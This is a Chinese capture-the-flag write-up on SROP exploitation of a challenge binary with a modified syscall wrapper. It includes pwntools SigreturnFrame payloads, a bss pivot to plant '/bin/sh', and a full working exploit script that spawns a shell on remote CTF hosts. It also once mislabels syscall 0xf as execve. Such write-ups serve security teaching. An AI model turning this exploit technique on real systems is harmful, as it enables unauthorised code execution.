0x01 前言:
Srop 初体验,总体上是要利用到pwntools集成的对于srop攻击的工具。
0x02 分析:
先来 checksec:

0x03 Syscall你变了,你变得……
上 ida 看看:
是两个系统调用,但是参数非常奇怪,通常来说 rax 是装载系统调用号的,但是这两个调用里面 rax 都是 0,注意到在第一次 syscall 的时候,第二个参数在 rdx 上,给我的感觉就是传参的寄存器总体往后一了一位。先 gdb 看看怎么回事:
步入了 syscall 函数里,一目了然了,主要动了手脚在这里
跟我们猜的一模一样,rdi 的值赋给 rax,rsi 的值赋给 rdi,也就是传参的寄存器总体后移了一位。接下来回到 main 函数,简单看看它做了什么:
大概翻译了一下是这样两行函数,read 函数有溢出点,一般来说这样的题可能可以打 ret2csu
,但是会在构造某个寄存器的值上会十分麻烦,所以这里着重介绍一下 srop,在程序中翻了翻可以找到:
0x04 调用号0xf是什么?
看到这样一句,找了一下对应的系统调用:
打 srop 的原理比较复杂,具体原理可以看SROP。
0x05 SigreturnFrame()赐予我力量!
但是好在 pwntools 中已经集成了对于 srop 的攻击,我们只要知道怎么使用就好了:
sigframe=SigreturnFrame() sigframe.rdi = sigframe.rsi = sigframe.rdx = sigframe.rsp = sigframe.rip =
|
这样子写好之后,只要填入对应的值,对应的寄存器则会被赋值成对应的值,如:
sigframe=SigreturnFrame() sigframe.rdi = 0x3b sigframe.rsi = bss-0x30 sigframe.rdx = 0 sigframe.rsp = bss+0x38 sigframe.rip = syscall
|
那么何时生效呢? 当然是触发了 execve(0xf)
之后紧跟 sigframe
,一般情况下,我们的payload 可以这样构造:
sigframe=SigreturnFrame() sigframe.rdi = 0x3b sigframe.rsi = bss-0x30 sigframe.rdx = 0 sigframe.rsp = bss+0x38 sigframe.rip = syscall
payload=b'a'*padding+flat(pop_rax,0xf,syscall,sigframe)
|
padding
表示正常溢出到 ret 处 , pop_rax,0xf,syscall
则是为了触发 rt_sigreturn
系统调用,随后跟上 pwntools 集成的工具即可。回想一下程序中经过魔改的 syscall, 实际上我们想通过这个工具让程序执行 execve(/bin/sh\x00,0,0)
, 也就是:
sigframe=SigreturnFrame() sigframe.rdi = 0x3b sigframe.rsi = "/bin/sh\x00" sigframe.rdx = 0 sigframe.r10 = 0 sigframe.rsp = 恢复rsp sigframe.rip = syscall
|
上面只是做个模板,实际上并不能这样写,因为他的逻辑是把地址赋值给各个寄存器的,所以我们还得想办法找个地方写 /bin/sh\x00
。
0x06 狠狠写入/bin/sh\x00
先 gdb 看看哪里有权限:
可以看到 0x404000
这段有读写权限,应该是 bss 段,回 ida 看看:
那么我们可以往 bss 段上写,直接用程序现成的 read 函数就好:
可以看到 read 写入的地址是 rbp-0x30
,在第一次溢出时把 rbp 覆盖为 bss 段上的地址之后回到这里就可以再执行一次 read,并且是往 bss 段上写入数据,简单构造一下第一段 payload:
bss=0x0000000000404070+0x130 leave_read=0x0000000000401171
payload=b'a'*(0x30)+p64(bss)+p64(leave_read) sa('welcome to srop!\n',payload)
|
由于 0x0404000
到 0x0405000
之间都是可读可写的,所以随便选一段即可,注意不要覆盖掉程序中原有的数据:
然后就是第二次 read 了,这次我们不需要用到 ebp 了,所以直接覆盖到 ret,然后就是前面说的先触发 0xf
的系统调用,接着使用 pwntools 集成的工具来触发 execve(/bin/sh\x00,0,0)
即可:
syscall=elf.plt['syscall'] pop_rdi=0x0000000000401203
sigframe=SigreturnFrame() sigframe.rdi = 0x3b sigframe.rsi = bss-0x30 sigframe.rdx = 0 sigframe.r10 = 0 sigframe.rsp = bss+0x38 sigframe.rip = syscall payload1=b'/bin/sh\x00'+b'a'*0x30+flat(pop_rdi,0xf,syscall,sigframe) sleep(0.1)
s(payload1)
|
这里必须要加个 sleep 来中断一下发送,不然我也不知道为什么程序会莫名其妙卡住进行不下去,因为这个工具会对其余没有指定的寄存器置 0,所以要注意恢复一下 rsp 和 rip 以保持程序能够正常运行。因为这里我们要在寄存器赋值好了之后执行 syscall,所以令 rip 指向了 syscall,到此我们的 payload 就构造完了.
0x06 Shell!给我Shell
完整 exp:
from pwn import * from ctypes import * from struct import pack
context(log_level = 'debug', arch = 'amd64', os = 'linux') elf=ELF('/mnt/c/Users/Z2023/Desktop/pwn_1')
choice = 1 if choice: port=28030 buu='node5.buuoj.cn' nss='node4.anna.nssctf.cn' polar='1.95.36.136' utctf='challenge.utctf.live' p = remote(buu,port) else: p = process('/mnt/c/Users/Z2023/Desktop/pwn_1')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def debug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause()
debug()
bss=0x0000000000404070+0x130 leave_read=0x0000000000401171 syscall=elf.plt['syscall'] pop_rdi=0x0000000000401203
payload=b'a'*(0x30)+p64(bss)+p64(leave_read) sa('welcome to srop!\n',payload)
sigframe=SigreturnFrame() sigframe.rdi = 0x3b sigframe.rsi = bss-0x30 sigframe.rdx = 0 sigframe.r10 = 0 sigframe.rsp = bss+0x38 sigframe.rip = syscall
payload1=b'/bin/sh\x00'+b'a'*0x30+flat(pop_rdi,0xf,syscall,sigframe) sleep(0.1) s(payload1)
itr()
|